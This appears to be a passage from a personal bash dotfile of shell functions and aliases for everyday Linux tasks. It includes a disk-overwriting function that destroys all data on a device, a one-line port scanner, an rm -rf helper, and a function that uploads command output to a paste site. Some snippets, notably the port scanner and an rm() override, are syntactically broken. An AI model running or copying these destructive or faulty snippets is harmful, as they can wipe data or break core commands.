####### Display text of ODF document in terminal $1 = ODF file
function o3() { unzip -p "$1" content.xml | o3totxt | utf8tolatin1; }
####### Random data overwriting #
#------------------------------------------////
function overwriter()
{
# The author of this script, Elias Amaral,
# claims no copyright over it.
# http://iamstealingideas.wordpress.com/2010/05/20/writing-random-data-to-a-hard-drive-again
msg() {
printf "\n - $1\n\n" $2
}
mbs=4 # 4mb
blocksize=$(($mbs * 1024 * 1024))
dev=$1
if [[ -z $dev ]]; then
msg "usage: $0 <device>"; exit
elif [[ ! -b $dev ]]; then
msg "$dev: not a block device"; exit
elif [[ ! -w $dev ]]; then
msg "$dev: no write permission"; exit
elif grep -q $dev /etc/mtab; then
msg "$dev: mounted filesystem on device, omgomg!"; exit
fi
cat <<end
This program writes random data to a hard disk.
It is intended to be used before storing encrypted data.
It may contain bugs (but seems to work for me).
It seems you have chosen to wipe data from the disk $dev.
Here is the partition table of this disk:
end
fdisk -l $dev
echo
echo 'Are you sure you want to proceed?'
msg 'WARNING: IT WILL DESTROY ALL DATA ON THE DISK'
read -p 'Type uppercase yes if you want to proceed: ' q
if [[ $q != YES ]]; then
exit
fi
while
echo $i > step.new
mv step.new step
msg 'Writing at offset %s' $(($mbs * $i))M
openssl rand \
-rand /dev/urandom \
$blocksize | \
dd of=$dev \
bs=$blocksize \
seek=$i
do
let i++
done
msg Finished.
}
alias overwriter_='sudo dd if=/dev/zero bs=1M | openssl bf-cbc -pass pass:`cat /dev/urandom | tr -dc [:graph:] | head -c56` | sudo dd of=$dev bs=1M'
####### Ownership Changes { own file user }
function own() { chown -R "$2":"$2" ${1:-.}; }
####### packagehold Hold packages
function packagehold()
{
echo -n "Please enter the package you wish to put a hold on:
"
read progID
echo "$progID hold" |sudo dpkg --set-selections
}
###### packageunhold Unhold packages
function packageunhold()
{
echo -n "Please enter the package you wish to remove the hold on:
"
read progID
echo "$progID install" |sudo dpkg --set-selections
}
####### Download all installed deb packages from official repos currently on system #
function packagelistdl()
{
sudo dpkg --get-selections | awk '{ print $1};' | while read package; do apt-cache show "$package"| wget -c 'http://ae.archive.ubuntu.com/ubuntu/'`sed -ne '/^Filename/s/^Filename: //p'`; done
}
####### Pacman Search
function pacsearch() {
echo -e "$(pacman -Ss $@ | sed \
-e 's#core/.*#\\033[1;31m&\\033[0;37m#g' \
-e 's#extra/.*#\\033[0;32m&\\033[0;37m#g' \
-e 's#community/.*#\\033[1;35m&\\033[0;37m#g' \
-e 's#^.*/.* [0-9].*#\\033[0;36m&\\033[0;37m#g' )"
}
####### Paste command output to www.pastehtml.com in txt format #
function paste() { curl -s -S --data-urlencode "txt=$($*)" "http://pastehtml.com/upload/create?input_type=txt&result=address";echo; }
####### Removes duplicate pathsNOTE: symlinks aren't dereferenced (e.g., using `readlink`) as they may exist for compatibility reasons
function pathremove() {
local IFS=':'
local newpath
local i
for i in ${!2}; do
if [ "$i" != "$1" ]; then
newpath=${newpath:+$newpath:}$i
fi
done
export $2="$newpath"
}
####### Print character classes #
function pcharc() { perl -e 'for (0..255) {$_ = chr($_); print if /['$1']/}' | cat -v; echo; }
####### Quick plot of numbers on stdin (can also pass - plot paramaters) - requires gnuplot: sudo apt-get install gnuplot example: seq 1000 | sed 's/.*/s(&)/' | bc -l | plot linecolor 2
function plot() { { echo 'plot "-"' "$@"; cat; } | gnuplot -persist; }
####### Scans a port, returns what's on it.
function port() {
lsof -i :"$1"
}
####### Portscan in one line
function portscan()
{
$HOST=127.0.0.1;for((port=1;port<=65535;++port));do echo -en "$port ";if echo -en "open $HOST $port\nlogout\quit" | telnet 2>/dev/null | grep 'Connected to' > /dev/null;then echo -en "\n\nport $port/tcp is open\n\n";fi;done
}
####### Use Perl like grep
function prep() { perl -nle 'print if '"$1"';' $2 ; }
####### Find the printer driver (ppd) type being used
function printdriver() {
lpoptions -d $1 | grep -oe "printer-make-and-model='.*'" | cut -f2 -d "=" | sed -r s/\'//g
}
######## Print a row of characters across the terminal - Default character is "=", default color is white
function println()
{
echo -n -e "\e[038;05;${2:-255}m";printf "%$(tput cols)s"|sed "s/ /${1:-=}/g"
}
# Pronounce an English word - usage: pronounce "word1" "word2" "word3" "..."
function pronounce() { for a in $@; do wget -qO- $(wget -qO- "http://www.m-w.com/dictionary/$a" | grep 'return au' | sed -r "s|.*return au\('([^']*)', '([^'])[^']*'\).*|http://cougar.eb.com/soundc11/\2/\1|") | aplay -q; done }
###### usage: pronounce_ "word1" "word2" "word3" "..." requires 'mpg123' - sudo apt-get install mp321, but better dictionary
function pronounce_() { wget -qO- $(wget -qO- "http://dictionary.reference.com/browse/$@" | grep 'soundUrl' | head -n 1 | sed 's|.*soundUrl=\([^&]*\)&.*|\1|' | sed 's/%3A/:/g;s/%2F/\//g') | mpg123 -; }
####### Pull a single file out of a .tar.gz
function pullout() {
if [ $# -ne 2 ]; then
echo "need proper arguments:"
echo "pullout [file] [archive.tar.gz]"
return 1
fi
case $2 in
*.tar.gz|*.tgz)
gunzip < $2 | tar -xf - $1
;;
*)
echo $2 is not a valid archive
return 1
;;
esac
return 0
}
####### Create QR codes from a URL
function qrurl() { curl -sS "http://chart.apis.google.com/chart?chs=200x200&cht=qr&chld=H|0&chl=$1" -o - | display -filter point -resize 600x600 png:-; }
####### Email yourself a short note #
#------------------------------------------////
function quickemail() { echo "$*" | mail -s "$*" [email protected]; }
####### Suppress output of loud commands you don't want to hear from #
function quietly() { "$@" |&:; }
function Quietly() { "$@" > /dev/null 2>&1; }
function quietly_() { $* 2> /dev/null > /dev/null; }
####### Turning on and off Internet radio
function radio() { if [ "$(pidof mpg123)" ] ; then killall mpg123; else mpg123 -q -@ http://173.236.29.51:8200 & fi }
####### Scroll file one line at a time (w/only UNIX base tools) - usage: rd < file ; or ... | rd
function rd_() { IFS='<ctrl-m>';$@;for i in `sed 's.\\\.\\\134.g;s.%.\\\045.g'`;do printf "$i$IFS";sleep 1;done ; }
####### TTS
function readfile() { curl -sGA Mozilla -d "language=en&format=audio/mp3&options=MaxQuality&appid=To6RoRW0R9Pt9emvqxsqEImBiS_ElZ19Dxpu9j6WURkg*&text=`python3 -c 'from urllib.parse import quote_plus; from sys import stdin; print(quote_plus(stdin.read()))' <${1:?file name is empty}`" 'http://api.microsofttranslator.com/V2/Http.svc/Speak' | mpg321 -q -; }
####### Copy Relinux backups to '~/Backups' folder (only after Relinux has backed-up stuff)
function relinux-copy()
# requires: relinux (not yet available in PPA/repo)
{
notify-send -t 3000 -i /usr/share/icons/gnome/32x32/status/info.png "Relinux ISO Copy Started"
DISTRIB_ID=`cat /etc/lsb-release | grep DISTRIB_ID | cut -d '=' -f 2`
DISTRIB_CODENAME=`lsb_release -cs | sed "s/^./\u&/"`
if [ ! -d "$HOME/Backups" ]; then
mkdir "$HOME/Backups"
fi
if [ ! -d "$HOME/Backups/$DISTRIB_ID $DISTRIB_CODENAME Backup `date +-%e-%m-%Y`" ]; then
mkdir "$HOME/Backups/$DISTRIB_ID $DISTRIB_CODENAME Backup `date +-%e-%m-%Y`"
cd "$HOME/Backups/$DISTRIB_ID $DISTRIB_CODENAME Backup `date +-%e-%m-%Y`"
echo 'Password: password' >> Password.txt
cp /home/relinux/custom.iso "$HOME/Backups/$DISTRIB_ID $DISTRIB_CODENAME Backup `date +-%e-%m-%Y`"
cd ..
cd ..
notify-send -t 3000 -i /usr/share/icons/gnome/32x32/status/info.png "Relinux ISO Copy Finished"
else
mkdir "$HOME/Backups/$DISTRIB_ID $DISTRIB_CODENAME Backup `date +-%e-%m-%Y_%H%M`"
cd "$HOME/Backups/$DISTRIB_ID $DISTRIB_CODENAME Backup `date +-%e-%m-%Y_%H%M`"
echo 'Password: password' >> Password.txt
cp /home/relinux/custom.iso "$HOME/Backups/$DISTRIB_ID $DISTRIB_CODENAME Backup `date +-%e-%m-%Y_%H%M`"
cd ..
cd ..
notify-send -t 3000 -i /usr/share/icons/gnome/32x32/status/info.png "Relinux ISO Copy Finished"
fi ;
}
####### Copy Remastersys backups to '~/Backups' folder (only after Remastersys has backed-up stuff)
#function remastersys-copy()
# requires: sudo apt-get install remastersys (Packet ist veraltet)
#{
# notify-send -t 3000 -i /usr/share/icons/gnome/32x32/status/info.png "Remastersys ISO Copy Started"
# DISTRIB_ID=`cat /etc/lsb-release | grep DISTRIB_ID | cut -d '=' -f 2`
# DISTRIB_CODENAME=`lsb_release -cs | sed "s/^./\u&/"`
# if [ ! -d "$HOME/Backups" ]; then
# mkdir "$HOME/Backups"
# fi
# if [ ! -d "$HOME/Backups/$DISTRIB_ID $DISTRIB_CODENAME Backup `date +-%e-%m-%Y`" ]; then
# mkdir "$HOME/Backups/$DISTRIB_ID $DISTRIB_CODENAME Backup `date +-%e-%m-%Y`"
# cd "$HOME/Backups/$DISTRIB_ID $DISTRIB_CODENAME Backup `date +-%e-%m-%Y`"
# echo 'Password: password' >> Password.txt
# cp /home/remastersys/remastersys/custom-backup.iso "$HOME/Backups/$DISTRIB_ID $DISTRIB_CODENAME Backup `date +-%e-%m-%Y`"
# cd ..
# cd ..
# notify-send -t 3000 -i /usr/share/icons/gnome/32x32/status/info.png "Remastersys ISO Copy Finished"
# else
# mkdir "$HOME/Backups/$DISTRIB_ID $DISTRIB_CODENAME Backup `date +-%e-%m-%Y_%H%M`"
# cd "$HOME/Backups/$DISTRIB_ID $DISTRIB_CODENAME Backup `date +-%e-%m-%Y_%H%M`"
# echo 'Password: password' >> Password.txt
# cp /home/remastersys/remastersys/custom-backup.iso "$HOME/Backups/$DISTRIB_ID $DISTRIB_CODENAME Backup `date +-%e-%m-%Y_%H%M`"
# cd ..
# cd ..
# notify-send -t 3000 -i /usr/share/icons/gnome/32x32/status/info.png "Remastersys ISO Copy Finished"
# fi ;
#}
####### Reminder for whatever whenever
function remindme()
{
sleep $1 && zenity --info --text "$2" &
}
####### Remount a device
function remount() {
DEVICE=$1
shift
mount -oremount,$@ $DEVICE
}
###### Repeats a command every x seconds - Usage: repeat PERIOD COMMAND
function repeat() {
local period
period=$1; shift;
while (true); do
eval "$@";
sleep $period;
done
}
####### Add repo
function repoadd() {
reprepro -Vb "$REPO_HOME" include "$REPO_DIST" *.changes
cd "$REPO_HOME"/dists/"$REPO_DIST"
gpg -abs -o Release.gpg Release
}
####### Repository update check
function repository-update-check() {
cat > "/tmp/repository-update-check.sh" <<"End-of-message"
#!/bin/bash
# created by unknown
# updated and tweaked by Inameiname (11 October 2011)
#Dependency check
DEPENDENCIES="zenity curl"
for dep in $DEPENDENCIES
do
which $dep &> /dev/null
if [ $? -ne '0' ]
then
echo "[ERR]: $dep Not Found in your path."
exit
fi
done
#Cleans last usage
OLD_FILES="repositories"
for old in $OLD_FILES
do
if [ -f /tmp/$old ];
then
rm -fv -R /tmp/$old
fi
done
#Lists release, repos
myrelease=$(grep 'DISTRIB_CODENAME' /etc/lsb-release | sed 's/DISTRIB_CODENAME=//' | head -1)
#myrelease="saucy"
repo_clean=$(ls /etc/apt/sources.list.d/ | grep -v .save)
repo_list=$(cd /etc/apt/sources.list.d && cat $repo_clean /etc/apt/sources.list | grep deb\ http.* | sed -e 's/.*help\.ubuntu\.com.*//' -e 's/^#.*//' -e 's/deb\ //' -e 's/deb-src\ //' -e '/^$/d' | sort -u | awk '{print $1"|"$2}' | sed -e 's/\/|/|/' -e 's/-[a-z]*$//' | uniq && cd)
#repo_list=$(cat dummy.sources.list | grep deb\ http.* | sed -e 's/.*help\.ubuntu\.com.*//' -e 's/^#.*//' -e 's/deb\ //' -e 's/deb-src\ //' -e '/^$/d' | sort -u | awk '{print $1"|"$2}' | sed -e 's/\/|/|/' -e 's/-[a-z]*$//' | uniq && cd)
count_repos=$(echo $repo_list | wc -w)
check_progress=$count_repos
release_14="trusty"
release_13="saucy"
release_12="raring"
release_11="quantal"
release_10="precise"
release_9="oneiric"
release_8="natty"
release_7="maverick"
release_6="lucid"
release_5="karmic"
release_4="jaunty"
release_3="intrepid"
release_2="hardy"
release_1="gutsy"
#Checks
{
for repo_0 in $repo_list
do
repo="$(echo $repo_0 | sed 's/|.*//')"
rir="$(echo $repo_0 | sed 's/.*|//')"
rir_list=$(curl --silent $repo/dists/ | grep -oi href\=\"[^\/].*/\" | sed -e 's/href\=\"//i' -e 's/\/\"//' -e 's/-.*//' -e 's/\ NAME.*//i' | sort -u | uniq)
if [ '$rir_list' = '' ]
then
rir_list=$(curl --silent $repo/ | grep -oi href\=\"[^\/].*\" | sed -e 's/href\=\"//i' -e 's/\/\"//' -e 's/-.*//' -e 's/\ NAME.*//i' -e 's/\/index\.html\"//' -e 's/.*".*//' -e 's/http.*//' | sort -u | uniq)
fi
#(I guess one will find something more elegant here)
if [ $(echo "$rir_list" | grep -o $myrelease) ]
then
echo "$myrelease " >> /tmp/repositories
fi
if [ '$rir_list' = '' ]
then
echo "$myrelease " >> /tmp/repositories
fi
if [ $(echo "$rir_list" | grep -oi $release_14) ]
then
r14="yes"
else
r14="no"
fi
if [ $(echo "$rir_list" | grep -oi $release_13) ]
then
r13="yes"
else
r13="no"
fi
if [ $(echo "$rir_list" | grep -oi $release_12) ]
then
r12="yes"
else
r12="no"
fi
if [ $(echo "$rir_list" | grep -oi $release_11) ]
then
r11="yes"
else
r11="no"
fi
if [ $(echo "$rir_list" | grep -oi $release_10) ]
then
r10="yes"
else
r10="no"
fi
if [ $(echo "$rir_list" | grep -oi $release_9) ]
then
r9="yes"
else
r9="no"
fi
if [ $(echo "$rir_list" | grep -oi $release_8) ]
then
r8="yes"
else
r8="no"
fi
if [ $(echo "$rir_list" | grep -oi $release_7) ]
then
r7="yes"
else
r7="no"
fi
if [ $(echo "$rir_list" | grep -oi $release_6) ]
then
r6="yes"
else
r6="no"
fi
if [ $(echo "$rir_list" | grep -oi $release_5) ]
then
r5="yes"
else
r5="no"
fi
if [ $(echo "$rir_list" | grep -oi $release_4) ]
then
r4="yes"
else
r4="no"
fi
if [ $(echo "$rir_list" | grep -oi $release_3) ]
then
r3="yes"
else
r3="no"
fi
if [ $(echo "$rir_list" | grep -oi $release_2) ]
then
r2="yes"
else
r2="no"
fi
if [ $(echo "$rir_list" | grep -oi $release_1) ]
then
r1="yes"
else
r1="no"
fi
#results
if [ "$rir" = "$release_14" ]
then
results="$repo [$r14] $r13 $r12 $r11 $r10 $r9 $r8 $r7 $r6 $r5 $r4 $r3 $r2 $r1"
elif [ "$rir" = "$release_13" ]
then
results="$repo $r14 [$r13] $r12 $r11 $r10 $r9 $r8 $r7 $r6 $r5 $r4 $r3 $r2 $r1"
elif [ "$rir" = "$release_12" ]
then
results="$repo $r14 $r13 [$r12] $r11 $r10 $r9 $r8 $r7 $r6 $r5 $r4 $r3 $r2 $r1"
elif [ "$rir" = "$release_11" ]
then
results="$repo $r14 $r13 $r12 [$r11] $r10 $r9 $r8 $r7 $r6 $r5 $r4 $r3 $r2 $r1"
elif [ "$rir" = "$release_10" ]
then
results="$repo $r14 $r13 $r12 $r11 [$r10] $r9 $r8 $r7 $r6 $r5 $r4 $r3 $r2 $r1"
elif [ "$rir" = "$release_9" ]
then
results="$repo $r14 $r13 $r12 $r11 $r10 [$r9] $r8 $r7 $r6 $r5 $r4 $r3 $r2 $r1"
elif [ "$rir" = "$release_8" ]
then
results="$repo $r14 $r13 $r12 $r11 $r10 $r9 [$r8] $r7 $r6 $r5 $r4 $r3 $r2 $r1"
elif [ "$rir" = "$release_7" ]
then
results="$repo $r14 $r13 $r12 $r11 $r10 $r9 $r8 [$r7] $r6 $r5 $r4 $r3 $r2 $r1"
elif [ "$rir" = "$release_6" ]
then
results="$repo $r14 $r13 $r12 $r11 $r10 $r9 $r8 $r7 [$r6] $r5 $r4 $r3 $r2 $r1"
elif [ "$rir" = "$release_5" ]
then
results="$repo $r14 $r13 $r12 $r11 $r10 $r9 $r8 $r7 $r6 [$r5] $r4 $r3 $r2 $r1"
elif [ "$rir" = "$release_4" ]
then
results="$repo $r14 $r13 $r12 $r11 $r10 $r9 $r8 $r7 $r6 $r5 [$r4] $r3 $r2 $r1"
elif [ "$rir" = "$release_3" ]
then
results="$repo $r14 $r13 $r12 $r11 $r10 $r9 $r8 $r7 $r6 $r5 $r4 [$r3] $r2 $r1"
elif [ "$rir" = "$release_2" ]
then
results="$repo $r14 $r13 $r12 $r11 $r10 $r9 $r8 $r7 $r6 $r5 $r4 $r3 [$r2] $r1"
elif [ "$rir" = "$release_1" ]
then
results="$repo $r14 $r13 $r12 $r11 $r10 $r9 $r8 $r7 $r6 $r5 $r4 $r3 $r2 [$r1]"
else
echo "$myrelease " >> /tmp/repositories
results="$repo [yes] [yes] [yes] [yes] [yes] [yes] [yes] [yes] [yes] [yes] [yes] [yes] [yes] [yes]"
fi
#finds status and stores results
if [ $(echo "$results" | grep -o "\[no\]" | uniq) ]
then
status="Error"
fi
if [ $(echo "$results" | grep -o "\[yes\]" | uniq) ]
then
status="Ok"
fi
# if [ $(echo "$results" | grep -o "\[yes\]" | uniq) ] && [ "$rir" \< "$myrelease" ] && [ -n $(echo "$results" | grep -o "\[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]" | uniq) ] && [ echo "rir_list" | $(awk '{print $14 $13 $12 $11 $10 $9 $8 $7 $6 $5 $4 $3 $2 $1}' | grep $myrelease) ]
# then
# status="Upgradeable"
# fi
# if [ $(echo "$results" | grep -o "\[yes\]" | uniq) ] && [ "$rir" \> "$myrelease" ] && [ -n $(echo "$results" | grep -o "\[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]" | uniq) ] && [ echo "rir_list" | $(awk '{print $14 $13 $12 $11 $10 $9 $8 $7 $6 $5 $4 $3 $2 $1}' | grep $myrelease) ]
# then
# status="Downgradeable"
# fi
#TODO should be $status $repo $r14 $r13 $r12 $r11 $r10 $r9 $r8 $r7 $r6 $r5 $r4 $r3 $r2 $r1
echo "$status $results" >> /tmp/repositories
#Zenity progressbar
percent=$((100-$check_progress*100/$count_repos))
check_progress=$(($check_progress-1))
echo $percent
done
} | zenity --progress --percentage=0 --title="Repositories" --text="Scanning repositories..." --auto-close
#Displays nicely
if [ "$(cat /tmp/repositories | grep -c $myrelease)" = "$count_repos" ]
then
zeni_text="All the repositories you use support the $myrelease release."
elif [ "$(cat /tmp/repositories | grep -c $myrelease)" = "1" ]
then
zeni_text="Only $(cat /tmp/repositories | grep -c $myrelease) of your $count_repos activated repositories supports the $myrelease release."
else
zeni_text="$(($count_repos - $(cat /tmp/repositories | grep -c $myrelease))) of your $count_repos activated repositories don't support the $myrelease release."
fi
if [ "$((100+$count_repos*25))" -gt "600" ]
then
window_height="600"
else
window_height="$((100+$count_repos*22))"
fi
zenity --title "Repositories" --text "$zeni_text" --width 800 --height $window_height --list --column "Status" --column "Repository" --column "$release_14" --column "$release_13" --column "$release_12" --column "$release_11" --column "$release_10" --column "$release_9" --column "$release_8" --column "$release_7" --column "$release_6" --column "$release_5" --column "$release_4" --column "$release_3" --column "$release_2" --column "$release_1" $(cat /tmp/repositories | sed s/$myrelease//)
End-of-message
chmod +x "/tmp/repository-update-check.sh"
"/tmp/repository-update-check.sh"
rm -fv -R "/tmp/repositories"
rm -fv -R "/tmp/repository-update-check.sh"
}
####### Set permissions to "standard" values (644/755), recursive - Usage: resetp
function resetp() {
chmod -R u=rwX,go=rX "$@"
}
####### X DISPLAY functions
function reset_display()
{
if [ "$SHLVL" -eq 1 ]; then
echo $DISPLAY > $HOME/.display
else
if [ -e $HOME/.display ]; then
export DISPLAY=$(cat $HOME/.display)
fi
fi
}
######
function set_xtitle()
{
if [ $TERM == "xterm" ]; then
echo -ne "\033]0;${USER}@${HOSTNAME}: ${PWD}\007"
fi
}
# if [ "$UID" -ne 0 ]; then
# reset_display
# fi
####### Resize images
function resizeimg()
{
NAME_="resizeimg"
HTML_="batch resize image"
PURPOSE_="resize bitmap image"
PURPOSE_="resize bitmap image"
SYNOPSIS_="$NAME_ [-hlv] -w <n> <file> [file...]"
REQUIRES_="standard GNU commands, ImageMagick"
VERSION_="1.2"
DATE_="2001-04-22; last update: 2004-10-02"
AUTHOR_="Dawid Michalczyk <[email protected]>"
URL_="www.comp.eonworks.com"
CATEGORY_="gfx"
PLATFORM_="Linux"
SHELL_="bash"
DISTRIBUTE_="yes"
# This program is distributed under the terms of the GNU General Public License
usage () {
echo >&2 "$NAME_ $VERSION_ - $PURPOSE_
Usage: $SYNOPSIS_
Requires: $REQUIRES_
Options:
-w <n>, an integer referring to width in pixels; aspect ratio will be preserved
-v, verbose
-h, usage and options (this help)
-l, see this script"
exit 1
}
gfx_resizeImage() {
# arg check
[[ $1 == *[!0-9]* ]] && { echo >&2 $1 must be an integer; exit 1; }
[ ! -f $2 ] && { echo >&2 file $2 not found; continue ;}
# scaling down to value in width
mogrify -geometry $1 $2
}
# args check
[ $# -eq 0 ] && { echo >&2 missing argument, type $NAME_ -h for help; exit 1; }
# var init
verbose=
width=
# option and arg handling
while getopts vhlw: options; do
case $options in
v) verbose=on ;;
w) width=$OPTARG ;;
h) usage ;;
l) more $0; exit 1 ;;
\?) echo invalid argument, type $NAME_ -h for help; exit 1 ;;
esac
done
shift $(( $OPTIND - 1 ))
# check if required command is in $PATH variable
which mogrify &> /dev/null
[[ $? != 0 ]] && { echo >&2 the required ImageMagick \"mogrify\" command \
is not in your PATH variable; exit 1; }
for a in "$@";do
gfx_resizeImage $width $a
[[ $verbose ]] && echo ${NAME_}: $a
done
}
####### Daemon management #
function restart() { sudo /etc/rc.d/$1 restart; }
function start() { sudo /etc/rc.d/$1 start; }
function stop() { sudo /etc/rc.d/$1 stop; }
####### Restart the windows, only once #
#------------------------------------------////
function restowin() { sudo grub-set-default 3 && sudo reboot; }
####### Use binary notation to chmod a file #
#------------------------------------------////
function right() { bc <<< "obase=8;ibase=2;$1"; }; # touch foo; chmod $(right 111111011) foo; ls -l foo
####### Rip a file with handbrake and good options
function rip() {
handbrake -i /dev/dvd -o ${HOME}/${1}.mp4 -L -U -F -f mp4 -e x264 -b 4000 -B 192
}
####### Log rm commands
function rm() {
workingdir=$( pwdx $$ | awk '{print $2}' ) /bin/rm $* echo "rm $* issued at $(date) by the user $(who am i| awk '{print $1} ') in the directory ${workingdir}" >> /tmp/rm.out ;
}
# Using associative array to remove all files and directories under PWD except
function rmall_but() { declare -A keep;for arg;do keep[$arg]=1;done;for file in *;do [[ ${keep[$file]} ]] || rm -rf "$file";done; }
####### Remove an inode via inode number
function rminode() {
find . -inum $1 -exec rm -i {} \;
}
####### Roll - archive wrapper - usage: roll <foo.tar.gz> ./foo ./bar
function roll()
{
FILE=$1
case $FILE in
*.tar.bz2) shift && tar cjf $FILE $* ;;
*.tar.gz) shift && tar czf $FILE $* ;;
*.tgz) shift && tar czf $FILE $* ;;
*.zip) shift && zip $FILE $* ;;
*.rar) shift && rar $FILE $* ;;
esac
}
####### Removing all extended attributes from a directory tree
function rr()
{
for i in $(ls -Rl@ | grep '^ ' | awk '{print $1}' | sort -u); \
do echo Removing $i ... >&2; \
find . | xargs xattr -d $i 2>/dev/null ; done
}
####### Make a backup before editing a file
function safeedit() {
cp $1 ${1}.backup && vim $1
}
####### Sanitize - set file/directory owner and permissions to normal values (644/755) - usage: sanitize <file>
function sanitize()
{
chmod -R u=rwX,go=rX "$@"
chown -R ${USER}:users "$@"
}
####### Save a specified directory
function save() { /usr/bin/sed "/$@/d" ~/.dirs > ~/.dirs1; \mv ~/.dirs1 ~/.dirs; echo "$@"=\"`pwd`\" >> ~/.dirs; source ~/.dirs ; }
####### Save a file to ~/Temp
function saveit() {
cp $1 ${HOME}/Temp/${1}.saved
}
####### Screencasting with mplayer webcam window
function screencastw()
{
mplayer -cache 128 -tv driver=v4l2:width=176:height=177 -vo xv tv:// -noborder -geometry "95%:93%" -ontop | ffmpeg -y -f alsa -ac 2 -i pulse -f x11grab -r 30 -s `xdpyinfo | grep 'dimensions:'|awk '{print $2}'` -i :0.0 -acodec pcm_s16le output.wav -an -vcodec libx264 -vpre lossless_ultrafast -threads 0 output.mp4
}
#Search package database #
#------------------------------------------////
###### search Gentoo package database (portage) using eix $1 = search term (package name)
# Search all available w/ desc.; show summary
function sd() { eix -FsSc "$1"; }
# Search exact available; show details
function se() { eix -F "^$1\$"; }
# Search installed; show summary
function si() { eix -FIc "$1"; }
# Search all available; show summary
function sp() { eix -Fc "$1"; }
###### search Arch package database using pacman - $1 = search term (package name
function sp() {
echo -e "$(pacman -Ss "$@" | sed \
-e 's#^core/.*#\\033[1;31m&\\033[0;37m#g' \
-e 's#^extra/.*#\\033[0;32m&\\033[0;37m#g' \
-e 's#^community/.*#\\033[1;35m&\\033[0;37m#g' \
-e 's#^.*/.* [0-9].*#\\033[0;36m&\\033[0;37m#g' ) \
\033[0m"
}
###### search Debian (or Ubuntu) package database (apt) using dpkg - $1 = search term (package name)
function sp() { apt-cache search "$1" | grep -i "$1"; } # search all available
####### Sed /pat/!d without using sed (no RE; limited to shell patterns aka globbing) - usage: se pattern # use in place of sed /pat/!d where RE are overkill
function se_() { while read a;do [ "$a" != "${a#*$@*}" ]&&echo $a;done ; }
####### Search and replace words/phrases from text file usage: searchnreplace "whatever oldtext" "whatever newtext" "file(s) to act on"
function searchnreplace()
{
# Store old text and new text in variables
old=$1;
new=$2;
# Shift positional parameters to places to left (get rid of old and
# new from command line)
shift;
shift;
# Store list of files as a variable
files=$@;
a='';
for a in $files
do
temp=$(echo "/tmp/$LOGNAME-$a");
# echo "$temp";
echo -n ".";
sed -e "s/$old/$new/g" $a > $temp;
mv $temp $a;
done
echo;
echo -e "Searched $# files for '$old' and replaced with '$new'";
}
####### Sed edit-in-place using -a option instead of -i option (no tmp file created)
function sedi() { case $# in [01])echo usage: sedi cmds file;;2)sed -an ''"$1"';H;$!d;g;w '"$2"'' $2;;esac; }
####### Auto send an attachment from CLI
function send() {
echo "File auto-sent from linux." | mutt -s "See Attached File" -a $1 $2
}
####### Manage services
function service() {
if [ $# -lt 2 ]; then
echo "Missing service name or command"
return 1
fi
sudo /etc/init.d/$1 $2 && return 0
}
###### service() { /etc/rc.d/$1 $2; }
function service_() {
if [ -n "$2" ]
then
/etc/rc.d/$1 $2
else
echo "All daemons"
ls --ignore=functions* /etc/rc.d/
echo "Running daemons"
ls /var/run/daemons
fi
}
####### Create a new script, automatically populating the shebang line, editing the script, and making it executable. #
function shebang() { if i=$(which $1); then printf '#!%s\n\n' $i > $2 && vim + $2 && chmod 755 $2; else echo "'which' could not find $1, is it in your \$PATH?"; fi; }
####### Shot - takes a screenshot of your current window #
function shot()
{
import -frame -strip -quality 75 "$HOME/$(date +%s).png"
}
####### Create an easy to pronounce shortened URL from CLI
function shout() { curl -s "http://shoutkey.com/new?url=$1" | sed -n 's/\<h1\>/\&/p' | sed 's/<[^>]*>//g;/</N;//b' ;}
####### To remind yourself of an alias (given some part of it)
function showa() { /usr/bin/grep -i -a1 $@ ~/.aliases.bash | grep -v '^\s*$' ; }
####### Colored word-by-word diff of two files - ex.: showdiff oldversion.txt newversion.txt
function showdiff()
{
wdiff -n -w $'\033[30;41m' -x $'\033[0m' -y $'\033[30;42m' -z $'\033[0m' $1 $2
}
####### Show the contents of a file, including additional useful info
function showfile()
{
width=72
for input
do
lines="$(wc -l < $input | sed 's/ //g')"
chars="$(wc -c < $input | sed 's/ //g')"
owner="$(ls -ld $input | awk '{print $3}')"
echo "-----------------------------------------------------------------"
echo "File $input ($lines lines, $chars characters, owned by $owner):"
echo "-----------------------------------------------------------------"
while read line
do
if [ ${#line} -gt $width ] ; then
echo "$line" | fmt | sed -e '1s/^/ /' -e '2,$s/^/+ /'
else
echo " $line"
fi
done < $input
echo "-----------------------------------------------------------------"
done | more
}
####### ShowTimes: show the modification, metadatachange, and access times of a file
function showTimes() { stat -f "%N: %m %c %a" "$@" ; }
# Used by file
#------------------------------------------////
###### sh_coloroff
function sh_coloroff()
{
echo -en "$reset_color"
}
###### sh_colormsg
function sh_colormsg()
{
[ -n "$1" ] && echo -en "${fg_bold}${@}${reset_color}"
}
###### sh_error
function sh_error()
{
echo -e "${fg_bold}[ e ]${reset_color} $@"
}
###### sh_info
function sh_info()
{
echo -e "${fg_bold}[ i ]${reset_color} $@"
}
###### sh_success
function sh_success()
{
echo -e "${fg_bold}[ k ]${reset_color} $@"
}
###### sh_mesg
function sh_mesg()
{
echo -e "${fg_bold}[ m ]${reset_color} $@"
}
###### use with svn diff -r `sh_svnprev`
function sh_svnprev(){
echo $(( `svnversion . | sed 's/[^0-9].*//'` - 1))
}
###### sh_fcore - $1 - path
function sh_fcore()
{
p="."
[ -n "$1" ] && p="$1"
find $p -name "core\.*[[:digit:]]*" -type f 2>& /dev/null
return 0
}
####### Edit the Apache configuration
function apacheconfig ()
{
if [ -f /etc/httpd/conf/httpd.conf ]; then
sedit /etc/httpd/conf/httpd.conf
elif [ -f /etc/apache2/apache2.conf ]; then
sedit /etc/apache2/apache2.conf
else
echo "Error: Apache config file could not be found."
echo "Searching for possible locations:"
sudo updatedb && locate httpd.conf && locate apache2.conf
fi
}
####### Edit the PHP configuration file
function phpconfig ()
{
if [ -f /etc/php.ini ]; then
sedit /etc/php.ini
elif [ -f /etc/php/php.ini ]; then
sedit /etc/php/php.ini
elif [ -f /etc/php5/php.ini ]; then
sedit /etc/php5/php.ini
elif [ -f /usr/bin/php5/bin/php.ini ]; then
sedit /usr/bin/php5/bin/php.ini
elif [ -f /etc/php5/apache2/php.ini ]; then
sedit /etc/php5/apache2/php.ini
